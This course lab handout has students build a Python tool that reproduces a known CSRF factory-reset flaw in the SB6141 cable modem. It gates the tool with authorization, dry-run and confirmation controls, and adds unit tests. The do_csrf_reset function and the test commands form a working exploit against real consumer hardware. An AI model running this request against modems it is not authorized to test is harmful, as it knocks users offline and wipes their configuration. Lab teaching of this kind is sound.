Classroom Glossary Public page

Lab 5: Tool v0.2, Authorization + Dry-Run

762 words

~3 hr. Extend Tool v0.1 to Tool v0.2: add --authorized-by (REQUIRED), --dry-run (default ON), destructive-action confirmation, and the CSRF reproduction itself. First version that CAN do destructive work; the safety controls make that acceptable.


Goal: ship sb6141_csrf/v02.py plus tests plus updated README. Tool v0.2 adds the destructive action (the CSRF factory-reset) but gates it behind --authorized-by, --dry-run (default ON; --no-dry-run to execute), and an interactive confirmation that requires typing the action name.

Estimated time: ~3 hr.

Prerequisites: Week 5 lecture. Lab 4 complete and committed.

Authorization line: Required in lab notebook before any --no-dry-run invocation:

Lab 5 session, 2026-MM-DD HH:MM. Target SB6141 unit <serial> on isolated lab network;
scope per signed cohort authorization (filed 2026-MM-DD); Tool v0.2 destructive-action
testing; expect <N> factory-resets across the session.

Setup

mkdir -p ~/adv-101/lab-5/sb6141_csrf ~/adv-101/lab-5/tests
cd ~/adv-101/lab-5
# copy v01 as starting point
cp ../lab-4/sb6141_csrf/v01.py sb6141_csrf/v02.py
cp ../lab-4/sb6141_csrf/__init__.py sb6141_csrf/__init__.py
cp ../lab-4/tests/test_fingerprint.py tests/test_v02.py

Open sb6141_csrf/v02.py and revise.


Part A: Add the destructive action (~45 min)

Add a new function do_csrf_reset that issues the destructive request. Per Lab 2's reproduction, the destructive endpoint is /goform/RgFactoryDefault (or your firmware's specific path; substitute as needed):

DESTRUCTIVE_PATH = '/goform/RgFactoryDefault'
ACTION_NAME = 'factory-reset'

def do_csrf_reset(target: str, timeout: float = 10.0) -> dict:
    """Issue the CSRF GET that triggers the SB6141 factory-reset.

    Returns a dict with keys: success (bool), status_code (int), response_excerpt (str).
    Caller is responsible for verifying authorization + confirmation before calling.
    """
    url = f'http://{target}{DESTRUCTIVE_PATH}'
    LOG.info('issuing destructive GET to %s', url)
    try:
        resp = requests.get(url, timeout=timeout)
    except requests.exceptions.RequestException as e:
        LOG.error('destructive request failed: %s', e)
        return {'success': False, 'status_code': -1, 'response_excerpt': str(e)}
    return {
        'success': resp.status_code in (200, 302, 204),
        'status_code': resp.status_code,
        'response_excerpt': resp.text[:200],
    }

The function does ONE thing: issue the request. It does NOT check authorization (the caller does); it does NOT confirm with the user (the caller does); it does NOT fingerprint (the caller does, first).


Part B: Wire the safety controls into argparse (~30 min)

Replace build_parser() from v0.1 with the v0.2 version:

def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        prog='sb6141-csrf-v02',
        description=(
            'SB6141 CSRF tool v0.2: fingerprint + authorized destructive action. '
            'Reproduces the Longenecker CSRF (CERT/CC VU#419568) on an authorized '
            'lab SB6141. ALWAYS dry-runs by default; --no-dry-run executes after '
            'an interactive confirmation prompt.'
        ),
        epilog=(
            'Examples:\n'
            '  Dry-run (default; safe; shows what would happen):\n'
            '    %(prog)s --target 192.168.100.1 --authorized-by "Alice (cohort 2026-A)"\n'
            '\n'
            '  Execute (after dry-run review; prompts for confirmation):\n'
            '    %(prog)s --target 192.168.100.1 --authorized-by "Alice (cohort 2026-A)" --no-dry-run\n'
            '\n'
            '  Unattended execute (CI use only; STILL requires fingerprint match):\n'
            '    %(prog)s --target 192.168.100.1 --authorized-by "ci@cohort-2026-A" \\\n'
            '             --no-dry-run --no-confirm\n'
            '\n'
            'Exit codes:\n'
            '  0  success (fingerprint matched + dry-run printed; or destructive completed)\n'
            '  1  runtime error (network unreachable; timeout; destructive response not OK)\n'
            '  2  usage error (missing/invalid argument)\n'
            '  3  fingerprint mismatch (target reachable but not SB6141)\n'
            '  4  user aborted at confirmation prompt\n'
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument(
        '--target',
        required=True,
        help='IP address or hostname of the SB6141 admin interface',
    )
    parser.add_argument(
        '--authorized-by',
        required=True,
        help=(
            'name of the authorizing party (e.g., "Alice (cohort 2026-A)"); '
            'this value appears in every log entry. REQUIRED.'
        ),
    )
    parser.add_argument(
        '--dry-run',
        action=argparse.BooleanOptionalAction,
        default=True,
        help='print what the tool would do without doing it (default: %(default)s)',
    )
    parser.add_argument(
        '--no-confirm',
        action='store_true',
        default=False,
        help='skip the interactive confirmation prompt (CI use only)',
    )
    parser.add_argument(
        '--timeout',
        type=float,
        default=10.0,
        help='HTTP request timeout in seconds (default: %(default)s)',
    )
    parser.add_argument(
        '--verbose', '-v',
        action='store_true',
        help='enable DEBUG-level logging to stderr',
    )
    return parser

Notice:

  • --authorized-by has required=True. Argparse exits if missing.
  • --dry-run defaults to True; --no-dry-run is the explicit affirmation.
  • --no-confirm defaults to False; it requires explicit operator action to bypass the interactive prompt.
  • Three required signals for actual execution: --authorized-by VALUE + --no-dry-run + (--no-confirm OR typed-confirmation).

Part C: Wire the confirmation flow into main() (~30 min)

Replace main() from v0.1:

EXIT_USER_ABORT = 4

def main(argv: list[str] | None = None) -> int:
    args = build_parser().parse_args(argv)

    logging.basicConfig(
        level=logging.DEBUG if args.verbose else logging.INFO,
        format='%(asctime)s %(levelname)s %(name)s: %(message)s',
        stream=sys.stderr,
    )

    LOG.info('tool=v02 target=%s authorized_by=%s dry_run=%s no_confirm=%s',
             args.target, args.authorized_by, args.dry_run, args.no_confirm)

    # Step 1: fingerprint (inherited from v01)
    fp = fingerprint(args.target, timeout=args.timeout)
    if not fp['match']:
        print(f'Error: fingerprint mismatch on {args.target}: {fp["reason"]}', file=sys.stderr)
        return EXIT_FINGERPRINT_MISMATCH

    firmware = fp['firmware_hint'] or 'unknown'
    print(f'Fingerprint OK: SB6141 at {args.target} (firmware {firmware})')

    # Step 2: emit the dry-run output (always; even when --no-dry-run, the output
    # shows what is about to happen)
    dry_run_block = (
        '\n*** Destructive action preview ***\n'
        f'  Target:          {args.target}\n'
        f'  Action:          {ACTION_NAME} (GET http://{args.target}{DESTRUCTIVE_PATH})\n'
        f'  Authorized by:   {args.authorized_by}\n'
        f'  Time:            {datetime.now(timezone.utc).isoformat()}\n'
        f'  Effect:          modem restarts and restores factory configuration (~60s)\n'
    )
    print(dry_run_block)

    if args.dry_run:
        print('Dry-run mode (default). Use --no-dry-run to execute.')
        return EXIT_OK

    # Step 3: interactive confirmation (unless --no-confirm)
    if not args.no_confirm:
        expected = ACTION_NAME
        user_input = input(f'Type "{expected}" to confirm (anything else aborts): ').strip()
        if user_input != expected:
            print('aborted by user', file=sys.stderr)
            return EXIT_USER_ABORT

    # Step 4: execute
    result = do_csrf_reset(args.target, timeout=args.timeout)
    if result['success']:
        LOG.info('destructive action complete: HTTP %d', result['status_code'])
        print(f'Action complete (HTTP {result["status_code"]}). Modem will be reachable again in ~60 seconds.')
        return EXIT_OK
    LOG.error('destructive action failed: HTTP %d body=%r', result['status_code'], result['response_excerpt'])
    print(f'Error: destructive request returned HTTP {result["status_code"]}', file=sys.stderr)
    return EXIT_RUNTIME_ERROR

Add the imports at the top if missing:

from datetime import datetime, timezone

Part D: Test the safety controls (~30 min)

Test against the live SB6141 in sequence:

# 1. Missing --authorized-by; expect argparse error + nonzero exit
python3 -m sb6141_csrf.v02 --target 192.168.100.1
# expected: "usage: ...; error: the following arguments are required: --authorized-by"

# 2. Dry-run (default); fingerprints, shows preview, exits OK without action
python3 -m sb6141_csrf.v02 --target 192.168.100.1 --authorized-by "Alice (cohort 2026-A)"
# expected: "Fingerprint OK"; preview block; "Dry-run mode (default)"

# 3. Wrong target with --no-dry-run; fingerprint refuses; never reaches confirmation
python3 -m sb6141_csrf.v02 --target 192.168.100.99 --authorized-by "Alice (cohort 2026-A)" --no-dry-run
# expected: "Error: fingerprint mismatch ..."

# 4. User-abort at confirmation; type anything other than "factory-reset"
python3 -m sb6141_csrf.v02 --target 192.168.100.1 --authorized-by "Alice (cohort 2026-A)" --no-dry-run
# at prompt, type "y" or "yes" or "abort"
# expected: "aborted by user"; exit 4

# 5. Full execution; type "factory-reset" at prompt
python3 -m sb6141_csrf.v02 --target 192.168.100.1 --authorized-by "Alice (cohort 2026-A)" --no-dry-run
# at prompt, type "factory-reset"
# expected: "Action complete (HTTP 200)..."; modem resets

Capture each invocation's output to a single log file:

{
    echo "=== Test 1: missing --authorized-by ==="
    python3 -m sb6141_csrf.v02 --target 192.168.100.1 2>&1
    echo "exit=$?"
    echo "=== Test 2: dry-run default ==="
    python3 -m sb6141_csrf.v02 --target 192.168.100.1 --authorized-by "Alice (cohort 2026-A)" 2>&1
    echo "exit=$?"
    # etc
} > lab-5-runs.log

The combined log becomes evidence of all five paths.


Part E: Unit tests for the safety controls (~30 min)

Add tests for the argparse + confirmation behavior. The unittest.mock.patch('builtins.input') pattern is the key technique:

"""Unit tests for sb6141_csrf.v02 safety controls."""

from unittest.mock import patch, MagicMock

import pytest

from sb6141_csrf import v02


def test_argparse_requires_authorized_by():
    """Calling without --authorized-by exits with argparse usage error."""
    with pytest.raises(SystemExit) as exc_info:
        v02.build_parser().parse_args(['--target', '1.2.3.4'])
    assert exc_info.value.code == 2  # argparse exits 2 on usage error


def test_argparse_dry_run_default_true():
    """Without --no-dry-run, args.dry_run is True."""
    args = v02.build_parser().parse_args([
        '--target', '1.2.3.4',
        '--authorized-by', 'tester',
    ])
    assert args.dry_run is True


def test_argparse_no_dry_run_flips_it():
    """--no-dry-run sets args.dry_run to False."""
    args = v02.build_parser().parse_args([
        '--target', '1.2.3.4',
        '--authorized-by', 'tester',
        '--no-dry-run',
    ])
    assert args.dry_run is False


def test_dry_run_does_not_call_do_csrf_reset(monkeypatch):
    """Default dry-run mode never reaches the destructive action."""
    def fake_fingerprint(target, timeout=5.0):
        return {'match': True, 'reason': 'mock', 'firmware_hint': '7.5.0'}
    monkeypatch.setattr(v02, 'fingerprint', fake_fingerprint)
    called = {'count': 0}
    def fake_do_csrf_reset(target, timeout=10.0):
        called['count'] += 1
        return {'success': True, 'status_code': 200, 'response_excerpt': ''}
    monkeypatch.setattr(v02, 'do_csrf_reset', fake_do_csrf_reset)
    rc = v02.main([
        '--target', '1.2.3.4',
        '--authorized-by', 'tester',
        # dry-run is the default
    ])
    assert rc == v02.EXIT_OK
    assert called['count'] == 0  # destructive action never called in dry-run


def test_user_abort_at_confirmation(monkeypatch):
    """A non-matching confirmation input aborts with EXIT_USER_ABORT."""
    monkeypatch.setattr(v02, 'fingerprint',
                        lambda target, timeout=5.0: {'match': True, 'reason': '', 'firmware_hint': '7.5.0'})
    called = {'count': 0}
    monkeypatch.setattr(v02, 'do_csrf_reset',
                        lambda target, timeout=10.0: (called.__setitem__('count', called['count'] + 1), {'success': True, 'status_code': 200, 'response_excerpt': ''})[1])
    monkeypatch.setattr('builtins.input', lambda prompt: 'y')  # user types y, not "factory-reset"
    rc = v02.main([
        '--target', '1.2.3.4',
        '--authorized-by', 'tester',
        '--no-dry-run',
    ])
    assert rc == v02.EXIT_USER_ABORT
    assert called['count'] == 0  # destructive action never called when aborted


def test_full_execution_calls_destructive_action(monkeypatch):
    """A complete invocation (fingerprint OK + --no-dry-run + correct confirmation) executes."""
    monkeypatch.setattr(v02, 'fingerprint',
                        lambda target, timeout=5.0: {'match': True, 'reason': '', 'firmware_hint': '7.5.0'})
    called = {'count': 0}
    def fake_do_csrf_reset(target, timeout=10.0):
        called['count'] += 1
        return {'success': True, 'status_code': 200, 'response_excerpt': ''}
    monkeypatch.setattr(v02, 'do_csrf_reset', fake_do_csrf_reset)
    monkeypatch.setattr('builtins.input', lambda prompt: 'factory-reset')
    rc = v02.main([
        '--target', '1.2.3.4',
        '--authorized-by', 'tester',
        '--no-dry-run',
    ])
    assert rc == v02.EXIT_OK
    assert called['count'] == 1


def test_no_confirm_skips_prompt(monkeypatch):
    """With --no-confirm + --no-dry-run, the tool executes without prompting."""
    monkeypatch.setattr(v02, 'fingerprint',
                        lambda target, timeout=5.0: {'match': True, 'reason': '', 'firmware_hint': '7.5.0'})
    called = {'count': 0}
    def fake_do_csrf_reset(target, timeout=10.0):
        called['count'] += 1
        return {'success': True, 'status_code': 200, 'response_excerpt': ''}
    monkeypatch.setattr(v02, 'do_csrf_reset', fake_do_csrf_reset)
    # input() never gets called; if it does, the test will hang
    rc = v02.main([
        '--target', '1.2.3.4',
        '--authorized-by', 'ci@cohort-2026-A',
        '--no-dry-run',
        '--no-confirm',
    ])
    assert rc == v02.EXIT_OK
    assert called['count'] == 1


def test_fingerprint_mismatch_blocks_execution(monkeypatch):
    """If fingerprint refuses, the tool never reaches the destructive action."""
    monkeypatch.setattr(v02, 'fingerprint',
                        lambda target, timeout=5.0: {'match': False, 'reason': 'wrong device', 'firmware_hint': None})
    called = {'count': 0}
    monkeypatch.setattr(v02, 'do_csrf_reset',
                        lambda target, timeout=10.0: (called.__setitem__('count', called['count'] + 1), {'success': True})[1])
    monkeypatch.setattr('builtins.input', lambda prompt: 'factory-reset')
    rc = v02.main([
        '--target', '1.2.3.4',
        '--authorized-by', 'tester',
        '--no-dry-run',
    ])
    assert rc == v02.EXIT_FINGERPRINT_MISMATCH
    assert called['count'] == 0  # blocked at fingerprint

Run:

cd ~/adv-101/lab-5
python3 -m pytest tests/ -v
# All 8 tests should pass

Part F: Update the README + commit (~20 min)

Update the README to reflect v0.2's safety controls + the --authorized-by and --dry-run defaults.

Commit:

cd ~/adv-101/lab-5
git add sb6141_csrf/__init__.py sb6141_csrf/v02.py tests/test_v02.py README.md lab-5-runs.log
git commit -m "Lab 5: Tool v0.2 (authz + dry-run + destructive-action confirmation; 8 tests pass)"

# portfolio entry
cd ~/adv-101
cat >> lab-portfolio.md <<EOF

### Lab 5 session, 2026-MM-DD HH:MM

**Target:** SB6141 unit serial <X> on isolated lab network
**Action:** developed Tool v0.2 (--authorized-by + --dry-run + destructive-action confirmation)
**Authorization basis:** per signed cohort authorization (counter-signed 2026-MM-DD)
**Session duration:** ~3h (including <N> SB6141 factory-resets during test runs)
**Artifacts produced:** lab-5/sb6141_csrf/v02.py; lab-5/tests/test_v02.py; lab-5/lab-5-runs.log
**Incidents:** none (each factory-reset preceded by authorized-by + dry-run + typed confirmation)
EOF
git add lab-portfolio.md
git commit -m "Portfolio: Lab 5 session entry"

Expected output / artifact

~/adv-101/lab-5/ containing:

  • sb6141_csrf/v02.py (Tool v0.2 with all safety controls)
  • tests/test_v02.py (8+ unit tests; all pass)
  • lab-5-runs.log (the 5 manual run-path captures)
  • README.md (updated with v0.2 safety-control documentation)

Plus the portfolio entry.


What's the failure mode?

  1. Operator aliases the safety control away. Defense at the v0.2 level is structural: --authorized-by REQUIRES a value; the value is logged. An alias that hard-codes "test" as the value bypasses the discipline but the audit trail still records "test" as the operator name, which is detectable in post-hoc review.
  2. Operator forgets --no-dry-run is needed. Failure mode is "the tool printed the dry-run but did not execute." This is the SAFE failure mode; the operator notices and re-runs with --no-dry-run.
  3. Operator types the confirmation incorrectly. Failure mode is "the tool aborted." Also safe; the operator re-runs.
  4. Operator runs against the wrong SB6141 by accident. Fingerprint catches the model; but the operator could have a second SB6141 on a misconfigured network. Mitigation: the per-session authorization line names the SPECIFIC serial number; cross-check the modem's printed serial against the auth line before running.

Common pitfalls

  • --authorized-by is optional, not required. Argparse required=True is the only correct way; do not rely on operator habit.
  • --dry-run defaults to False. Wrong by safety doctrine; v0.2's choice is default=True; --no-dry-run to execute. This is the difference between "safe-by-default" and "fast-by-default"; pick safe.
  • Confirmation accepts a generic affirmation. "y" or "yes" or pressing Enter on a prompt all defeat the cognitive-check purpose. Require the action name (e.g., factory-reset); typing it forces attention.
  • No-confirm without no-dry-run. A tool with --no-confirm but no --no-dry-run should still NOT execute (dry-run is still the default). Test this combination; it should still emit the dry-run output.

What would a reviewer ask?

  1. "What is the smallest change to my command-line arguments that would have actually issued the destructive request? Walk me through it."
  2. "Suppose someone created a wrapper script that always passes --authorized-by + --no-dry-run + --no-confirm. Is the safety model defeated? What would you do?"
  3. "Your dry-run output includes the authorized-by value. Why?"

Stretch (optional)

  1. Add a --rollback mode that reverses the action (where reversal is possible). For factory-reset, reversal means "reapply the previously-recorded configuration" (which the tool would need to have captured BEFORE the reset). Forward-pointer to Lab 7's idempotency work.
  2. Build a --json-log FILE argument that appends a JSON line per run to FILE. The JSON entry includes timestamp, target, authorized-by, action, dry-run, exit code. Forward-pointer to Lab 7's structured logging.
  3. Test the confirmation flow on a non-TTY stdin. When stdin is not a terminal (e.g., the tool is invoked from a script), the input() call has different behavior. Test; document.

Lab 5 v0.1.